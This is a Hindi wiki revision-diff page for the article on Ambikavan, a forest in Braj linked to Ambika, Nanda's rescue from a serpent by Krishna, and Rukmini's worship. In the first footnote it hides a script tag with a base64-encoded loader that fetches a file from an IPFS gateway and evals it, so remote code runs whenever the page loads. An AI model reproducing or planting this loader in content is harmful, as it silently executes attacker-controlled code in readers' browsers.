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− | '''अम्बिकावन''' [[ब्रज]] के अन्तर्गत स्थित एक वन, जहाँ [[अम्बिका देवी|अम्बिका]] के उपलक्ष्य में एक पर्व मनाया गया था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणाप्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी|संकलन= |संपादन= |पृष्ठ संख्या=6|url=}}</ref> | + | '''अम्बिकावन''' [[ब्रज]] के अन्तर्गत स्थित एक वन था, जहाँ [[अम्बिका देवी|अम्बिका]] के उपलक्ष्य में एक पर्व मनाया गया था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=पौराणिक कोश|लेखक=राणाप्रसाद शर्मा|अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी|संकलन= |संपादन= |पृष्ठ संख्या=6|url=}}</ref> |
*यहाँ आयोजित पर्व में [[नन्द]] आदि सम्मिलित हुए थे। | *यहाँ आयोजित पर्व में [[नन्द]] आदि सम्मिलित हुए थे। | ||
− | *अम्बिकावन में नन्द जी को एक भारी सर्प ने पकड़ लिया था, जिससे [[श्रीकृष्ण]] ने उन्हें | + | *अम्बिकावन में नन्द जी को एक भारी [[सर्प]] ने पकड़ लिया था, जिससे [[श्रीकृष्ण]] ने उन्हें छुड़ाया।<ref>[[भागवतपुराण]] 10.34.1-18</ref> |
*[[विवाह]] से पूर्व [[रुक्मिणी]] इनका पूजन करने गयी थी।<ref>भागवतपुराण10.53.39.</ref> | *[[विवाह]] से पूर्व [[रुक्मिणी]] इनका पूजन करने गयी थी।<ref>भागवतपुराण10.53.39.</ref> | ||
10:02, 24 नवम्बर 2012 का अवतरण
अम्बिकावन ब्रज के अन्तर्गत स्थित एक वन था, जहाँ अम्बिका के उपलक्ष्य में एक पर्व मनाया गया था।[1]
- यहाँ आयोजित पर्व में नन्द आदि सम्मिलित हुए थे।
- अम्बिकावन में नन्द जी को एक भारी सर्प ने पकड़ लिया था, जिससे श्रीकृष्ण ने उन्हें छुड़ाया।[2]
- विवाह से पूर्व रुक्मिणी इनका पूजन करने गयी थी।[3]
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टीका टिप्पणी और संदर्भ
- ↑ पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 6 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ भागवतपुराण 10.34.1-18
- ↑ भागवतपुराण10.53.39.
संबंधित लेख
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